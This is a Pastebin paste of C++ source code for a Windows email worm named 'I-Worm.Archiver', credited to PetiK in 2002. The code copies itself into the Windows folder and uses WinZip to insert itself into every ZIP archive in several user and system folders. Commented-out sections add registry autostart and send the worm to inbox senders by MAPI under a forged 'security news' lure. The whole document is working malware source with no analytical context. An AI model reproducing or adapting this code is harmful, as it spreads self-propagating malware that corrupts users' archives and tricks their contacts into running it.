Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- Name : I-Worm.Archiver
- Author : PetiK
- Date : Mai 10th 2002 -
- Language : C++
- Comments : Infect ZIP files which run with WINZIP.
- We can also to do the same think with PowerArchiver:
- powerarc -a -c4 archive.zip virus.exe
- */
- #include <windows.h>
- #include <stdio.h>
- #include <mapi.h>
- #pragma argused
- #pragma inline
- char filen[100],copyn[100],copyreg[100],windir[100],sysdir[100],inzip[256],fsubj[50];
- char *fnam[]={"news","support","info","newsletter","webmaster"};
- char *fmel[]={"@yahoo.com","@hotmail.com","@symantec.com","@microsoft.com","@avp.ch","@viruslist.com"};
- LPSTR run="Software\\Microsoft\\Windows\\CurrentVersion\\Run",
- SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
- char attname[]="news_xxxxxxxx.exe";
- LPTSTR cmdLine,ptr;
- BOOL installed;
- BYTE desktop[50],favoris[50],personal[50],winzip[50];
- DWORD sizdesktop=sizeof(desktop),sizfavoris=sizeof(favoris),
- sizpersonal=sizeof(personal),sizwinzip=sizeof(winzip);
- DWORD type=REG_SZ;
- long i;
- LHANDLE session;
- MapiMessage *mes;
- MapiRecipDesc from;
- char messId[512],mname[50],maddr[30];
- HINSTANCE hMAPI;
- HKEY hReg;
- WIN32_FIND_DATA ffile;
- void infzip(char *);
- ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
- ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
- ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
- ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);
- ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);
- ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);
- int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
- {
- GetModuleFileName(hInst,filen,100);
- GetSystemDirectory((char *)sysdir,100);
- GetWindowsDirectory((char *)copyn,100);
- strcpy(windir,copyn);
- strcat(copyn,"\\Archiver.exe");
- installed=FALSE;
- cmdLine=GetCommandLine();
- if(cmdLine) {
- for(ptr=cmdLine;ptr[0]!='-' && ptr[1]!=0;ptr++);
- if(ptr[0]=='-' && ptr[1]!=0) {
- switch(ptr[1]) {
- default:
- break;
- case 'i':
- installed=TRUE;
- break;
- case 'p':
- ShellAbout(0,"I-Worm.Archiver","Copyright (c)2002 - PetiKVX",0);
- MessageBox(NULL,"This new Worm was coded by PetiK.\nFrance - (c)2002",
- "I-Worm.Archiver",MB_OK|MB_ICONINFORMATION);
- ExitProcess(0);
- break;
- }
- }
- }
- if(!installed) {
- CopyFile(filen,copyn,FALSE);
- strcpy(copyreg,copyn);
- strcat(copyreg," -i");
- /* RegOpenKeyEx(HKEY_LOCAL_MACHINE,run,0,KEY_WRITE,&hReg);
- RegSetValueEx(hReg,"Archiver",0,REG_SZ,(BYTE *)copyreg,100);
- RegCloseKey(hReg); */
- ExitProcess(0);
- }
- RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);
- RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);
- RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);
- RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);
- RegCloseKey(hReg);
- RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\windows\\CurrentVersion\\App Paths\\winzip32.exe",0,KEY_QUERY_VALUE,&hReg);
- RegQueryValueEx(hReg,NULL,0,&type,winzip,&sizwinzip);
- RegCloseKey(hReg);
- if(strlen(winzip)!=0) {
- infzip(windir);
- infzip(sysdir);
- infzip(desktop);
- infzip(personal);
- infzip(favoris);
- infzip("C:\\");
- }
- /*
- _asm
- {
- call @wininet
- db "WININET.DLL",0
- @wininet:
- call LoadLibrary
- test eax,eax
- jz end_asm
- mov ebp,eax
- call @inetconnect
- db "InternetGetConnectedState",0
- @inetconnect:
- push ebp
- call GetProcAddress
- test eax,eax
- jz end_wininet
- mov edi,eax
- verf:
- push 0
- push Tmp
- call edi
- dec eax
- jnz verf
- end_wininet:
- push ebp
- call FreeLibrary
- end_asm:
- jmp end_all_asm
- Tmp dd 0
- end_all_asm:
- }
- hMAPI=LoadLibrary("MAPI32.DLL");
- (FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");
- (FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");
- (FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");
- (FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");
- (FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");
- (FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");
- mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);
- if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {
- do {
- if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS) {
- strcpy(mname,mes->lpOriginator->lpszName);
- strcpy(maddr,mes->lpOriginator->lpszAddress);
- for(i=0;i<8;i++)
- attname[i+5]='1'+(char)(9*rand()/RAND_MAX);
- fsubj[0]=0;
- wsprintf(fsubj,"News from %s%s",fnam[GetTickCount()%4],fmel[GetTickCount()%5]);
- mes->ulReserved=0;
- mes->lpszSubject=fsubj;
- mes->lpszNoteText="This is some news send by our firm about security.\n"
- "Please read by clicking on attached file.\n"
- "\tBest Regards";
- mes->lpszMessageType=NULL;
- mes->lpszDateReceived=NULL;
- mes->lpszConversationID=NULL;
- mes->flFlags=MAPI_SENT;
- mes->lpOriginator->ulReserved=0;
- mes->lpOriginator->ulRecipClass=MAPI_ORIG;
- mes->lpOriginator->lpszName=mes->lpRecips->lpszName;
- mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;
- mes->nRecipCount=1;
- mes->lpRecips->ulReserved=0;
- mes->lpRecips->ulRecipClass=MAPI_TO;
- mes->lpRecips->lpszName=mname;
- mes->lpRecips->lpszAddress=maddr;
- mes->nFileCount=1;
- mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
- memset(mes->lpFiles, 0, sizeof(MapiFileDesc));
- mes->lpFiles->ulReserved=0;
- mes->lpFiles->flFlags=NULL;
- mes->lpFiles->nPosition=-1;
- mes->lpFiles->lpszPathName=filen;
- mes->lpFiles->lpszFileName=attname;
- mes->lpFiles->lpFileType=NULL;
- mSendMail(session, NULL, mes, NULL, NULL);
- }
- }while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);
- free(mes->lpFiles);
- mFreeBuffer(mes);
- mLogoff(session,0,0,0);
- FreeLibrary(hMAPI);
- }
- */
- ExitProcess(0);
- }
- void infzip(char *folder)
- {
- register bool abc=TRUE;
- register HANDLE fh;
- if(strlen(folder)!=0) {
- SetCurrentDirectory(folder);
- fh=FindFirstFile("*.zip",&ffile);
- if(fh!=INVALID_HANDLE_VALUE) {
- while(abc) {
- inzip[0]=0;
- wsprintf(inzip,"%s -a -r %s %s",winzip,ffile.cFileName,copyn);
- WinExec(inzip,1);
- abc=FindNextFile(fh,&ffile);
- }
- }
- }
- }
Advertisement
Advertisement